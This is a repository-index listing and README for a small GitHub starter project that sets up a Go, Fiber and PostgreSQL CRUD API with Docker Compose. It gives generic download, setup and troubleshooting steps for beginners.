https://github.com/moizu991/fullstack-starter-go-fiber
🚀 Build a minimal CRUD web app with Go, Fiber, and PostgreSQL, using Docker and GitHub Actions for a smooth, repeatable development process.
https://github.com/moizu991/fullstack-starter-go-fiber
docker docker-compose fiber full-stack go jwt migrations openapi postgresql rest-api testing
Last synced: 3 months ago
JSON representation
🚀 Build a minimal CRUD web app with Go, Fiber, and PostgreSQL, using Docker and GitHub Actions for a smooth, repeatable development process.
- Host: GitHub
- URL: https://github.com/moizu991/fullstack-starter-go-fiber
- Owner: moizu991
- License: mit
- Created: 2025-11-01T03:59:34.000Z (3 months ago)
- Default Branch: main
- Last Pushed: 2025-11-01T07:45:46.000Z (3 months ago)
- Last Synced: 2025-11-01T09:17:38.530Z (3 months ago)
- Topics: docker, docker-compose, fiber, full-stack, go, jwt, migrations, openapi, postgresql, rest-api, testing
- Size: 4.88 KB
- Stars: 0
- Watchers: 0
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
README
# 🚀 fullstack-starter-go-fiber - Easy API Setup for Everyone
## 📖 Overview
The "fullstack-starter-go-fiber" is a user-friendly solution to help you start building APIs with ease. This application uses the Go programming language along with the Fiber framework, making it swift and efficient. It also integrates PostgreSQL for your database needs and uses Docker Compose for easy setup.
This guide will help you download and run the application smoothly, even if you have no programming experience.
## 🚀 Features
- **Simple Setup**: Easily set up your development environment using Docker Compose.
- **Database Included**: Uses PostgreSQL for data storage.
- **API Ready**: Built with REST API principles and OpenAPI specifications.
- **Testing Support**: Comes with built-in testing features to ensure your API works as expected.
- **Documentation**: Well-documented code to help you understand how everything works.
## 🛠️ System Requirements
To run this application, you will need the following:
- A computer with Windows, macOS, or Linux.
- **Docker**: Installed and running on your machine. [Get Docker here](https://www.docker.com/get-started).
- **Docker Compose**: Ensure you also have Docker Compose installed. This usually comes with Docker, but check your installation.
## 📥 Download & Install
To download the application, visit the releases page. Here you can find the latest version available.
**[Visit this page to download](https://github.com/moizu991/fullstack-starter-go-fiber/releases)**
After downloading, follow these steps to install and run the application:
1. **Download the Latest Release**: Click on the link above to visit the releases page. Choose the latest version and download it to your computer.
2. **Unzip the File**: If the file you downloaded is in a compressed format (like .zip or .tar), unzip it to a folder of your choice.
3. **Open Terminal/Command Prompt**:
- For Windows, type "cmd" in the search bar and press Enter.
- For macOS, search for "Terminal".
- For Linux, open your terminal application.
4. **Navigate to the Project Folder**: Use the `cd` command to change the directory to the folder where you unzipped the application files. For example:
- `cd path/to/your/fullstack-starter-go-fiber`
5. **Run Docker Compose**: Type the following command to start the application:
```
docker-compose up
```
This command initializes all necessary services defined in the Docker Compose file. Allow a few moments for the process to complete.
6. **Access the API**: After the containers are running, you can access the API via your web browser or a tool like Postman. The default address often is:
```
http://localhost:3000
```
Adjust this if your configuration specifies a different port or address.
## 🔍 Explore the API
The application provides several endpoints for you to interact with. You can utilize these endpoints to perform various operations, such as retrieving, adding, editing, or deleting data. Detailed usage can be found in the documentation included within the project.
## 📝 Documentation
In the repository, you will find documentation that guides you through using the API effectively. It covers various topics, including:
- How to set up your PostgreSQL database.
- Understanding the folder structure of the application.
- Examples of API requests and responses.
## 🤔 Troubleshooting
If you encounter issues while running the application, consider the following steps:
- **Ensure Docker is Running**: Make sure that Docker is installed and running on your system.
- **Check Dependencies**: Confirm that all required tools (like Docker and Docker Compose) are properly installed.
- **Consult the Documentation**: If something seems unclear, refer back to the documentation for possible solutions.
- **Search Online**: A quick search with the error message usually leads to helpful resources and solutions.
## 📣 Community and Support
Feel free to reach out to the community or check for updates and support:
- **GitHub Issues**: Open a new issue in this repository for any bugs or feature requests.
- **Discussion Forum**: Join the discussion within the GitHub community for additional support and collaboration.
## 🔗 Additional Resources
- [Docker Documentation](https://docs.docker.com/)
- [Go Language Documentation](https://golang.org/doc/)
- [Fiber Framework Documentation](https://docs.gofiber.io/)
Follow the steps above to get your API up and running smoothly. Enjoy building with "fullstack-starter-go-fiber"!